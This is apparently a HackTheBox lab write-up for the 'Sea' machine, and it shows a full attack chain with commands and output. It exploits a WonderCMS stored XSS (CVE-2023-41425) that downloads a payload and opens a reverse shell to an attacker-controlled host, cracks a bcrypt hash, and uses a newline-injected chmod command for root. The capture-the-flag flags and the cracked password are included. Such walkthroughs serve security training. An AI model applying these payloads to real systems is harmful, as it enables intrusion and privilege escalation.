~/writeups/Sea
Easy Linux CVE-2023-41425
Sea.
Easy Linux CVE-2023-41425 Stored XSS → RCE bcrypt Cracking Command Injection HackTheBox
Easy Linux machine running WonderCMS. A stored XSS vulnerability in the contact form (CVE-2023-41425) is triggered by an admin bot running HeadlessChrome, installing a malicious theme that gives a reverse shell. The CMS database leaks a bcrypt hash cracked to mychemicalromance, enabling SSH access. A localhost-only system monitor exposes a command injection in its log analysis feature — injecting a newline into the filename sets SUID on /bin/bash, giving root.
User Flag
5f6872293e53cf4d86bd2685cbdb924d
Root Flag
c1e095b93cbb006e18a2b02fd5674352
01Reconnaissance

Full port scan reveals only SSH and HTTP — a minimal attack surface.

nmap
$ nmap -sC -sV -p- --min-rate 5000 -oN nmap_full.txt 10.129.34.221 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 80/tcp open http Apache httpd 2.4.41
/etc/hosts
$ echo "10.129.34.221 sea.htb" | sudo tee -a /etc/hosts
finding: two ports only — SSH and HTTP. Virtual hosting active, so hostname must be added to /etc/hosts to get correct content.
02Web Enumeration

Directory fuzzing finds several interesting paths. The /themes/ directory reveals a bike theme — fuzzing it further uncovers version info and the CMS identity.

directory fuzzing
$ ffuf -u http://sea.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -fs 199 /themes [301] /data [301] /plugins [301] /messages [301]
theme enumeration
$ ffuf -u http://sea.htb/themes/bike/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt /themes/bike/README.md [200] /themes/bike/version [200] $ curl -s http://sea.htb/themes/bike/README.md WonderCMS bike theme by turboblack $ curl -s http://sea.htb/themes/bike/version 3.2.0
finding: CMS identified as WonderCMS 3.2.0. CVE search reveals CVE-2023-41425 — stored XSS leading to RCE in versions ≤ 4.3.2.

Confirm the admin login URL. WonderCMS uses a query-string format rather than a path segment:

find login URL
$ curl -s -o /dev/null -w "%{http_code}" "http://sea.htb/?loginURL" 200
note: the login is at /?loginURL (query string), not /loginURL (path). The path returns 404.
03Foothold — WonderCMS RCE (CVE-2023-41425)

CVE-2023-41425 is a stored XSS → RCE chain. An admin bot periodically reviews contact form submissions using HeadlessChrome. Injecting a <script> tag into the website field executes JavaScript in the admin's authenticated browser context. The script calls WonderCMS's installModule API with the admin's session token, installing a malicious zip that contains a PHP reverse shell.

clone & run exploit (thefizzyfish fork — local zip hosting)
$ git clone https://github.com/thefizzyfish/CVE-2023-41425-wonderCMS_RCE $ cd CVE-2023-41425-wonderCMS_RCE $ python3 CVE-2023-41425.py -rhost http://sea.htb/loginURL -lhost 10.10.14.78 -lport 9001 -sport 8000

Start a listener, then deliver the XSS payload via the contact form:

set up listener + deliver payload
# terminal 1 — listener $ nc -lvnp 9001 # terminal 2 — submit XSS via contact form website field $ curl -s -X POST http://sea.htb/contact.php \ -d 'name=john&email=john@test.com&age=25&country=US' \ --data-urlencode $'website=http://sea.htb/loginURL/index.php?page=loginURL?">
Wait 1–2 minutes. The admin bot fetches xss.js, then shell.zip, then the shell connects:

exploit chain fires
10.129.34.221 - "GET /xss.js HTTP/1.1" 200 10.129.34.221 - "GET /shell.zip HTTP/1.1" 200 connect to [10.10.14.78] from (UNKNOWN) [10.129.34.221] www-data@sea:/var/www/sea/themes/shell$
shell as www-data obtained.
04What Didn't Work & Why
"Failed to submit form" on contact.php:
The backend makes a mail() call that fails when no mail server is configured, intermittently blocking the submission from being stored. Fix: reset the machine and submit immediately after it comes up.
Wrong login URL format:
http://sea.htb/loginURL returns 404. WonderCMS uses a query string: http://sea.htb/?loginURL.
xss.js crashing silently (original exploit fork):
The original prodigiousMind fork queries document.querySelectorAll('[name="token"]')[0].value on the unauthenticated login page, which has no token element — a TypeError crashes the script before any requests are made. The thefizzyfish fork fetches the page first (as the authenticated admin), then extracts the token from the response correctly.
GitHub zip URL failing silently:
The original exploit's installModule call points to a github.com URL for the reverse shell zip. HTB machines have no outbound internet access, so the download silently fails. Use the thefizzyfish fork which serves shell.zip locally via python3 -m http.server.
Admin bot uses HeadlessChrome, not curl:
The bot visits the admin panel and renders it in a real browser — JavaScript executes. The XSS must be injected into content rendered by Chrome (the contact form's website field shown in the admin UI), not just a URL that gets fetched.
05Lateral Movement — Cracking the Hash

WonderCMS stores its configuration, including the admin password hash, in /var/www/sea/data/database.js:

extract hash from CMS database
$ cat /var/www/sea/data/database.js "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q"
finding: bcrypt hash ($2y$ prefix, cost factor 10). Mode 3200 in hashcat.
hashcat — crack bcrypt
$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt $2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

Password reuse — the admin password also works for SSH as amay:

SSH as amay → user flag
$ ssh amay@sea.htb # Password: mychemicalromance $ cat ~/user.txt 5f6872293e53cf4d86bd2685cbdb924d
user flag obtained.
06Privilege Escalation — Command Injection via Internal Service

Enumerate listening services — port 8080 is bound to localhost only:

find internal service
$ ss -tlnp LISTEN 127.0.0.1:8080

Forward port 8080 and browse to it. HTTP Basic Auth uses amay:mychemicalromance. The app is a System Monitor with an "Analyze Log File" feature that lets you select access.log or auth.log.

SSH port forward
$ ssh -L 8080:127.0.0.1:8080 amay@sea.htb

The log_file POST parameter is passed unsanitized to a shell command. Injecting a newline character (\n) splits the filename into two commands — the second executes as root. Setting SUID on /bin/bash is the cleanest path:

newline injection → SUID bash
$ curl -s http://127.0.0.1:8080 -u amay:mychemicalromance -X POST \ --data-urlencode $'log_file=/var/log/apache2/access.log\nchmod +s /bin/bash' \ -d 'analyze_log=' $ ls -la /bin/bash -rwsr-sr-x 1 root root ... /bin/bash
why newline? The app builds a shell command with the filename directly. A \n terminates the first command and begins a second — the app executes both as root. No other sanitization is in place.
07Root Flag
bash -p → root
$ bash -p bash-5.0# whoami root bash-5.0# cat /root/root.txt c1e095b93cbb006e18a2b02fd5674352
attack chain:
nmap → ffuf → WonderCMS 3.2.0 identified → CVE-2023-41425 stored XSS → HeadlessChrome bot triggers installModule → PHP reverse shell (www-data) → database.js bcrypt hash → hashcat rockyou → amay:mychemicalromance (SSH) → ss -tlnp reveals port 8080 → SSH forward → System Monitor → newline injection in log_file param → chmod +s /bin/bashbash -p → root
← all writeups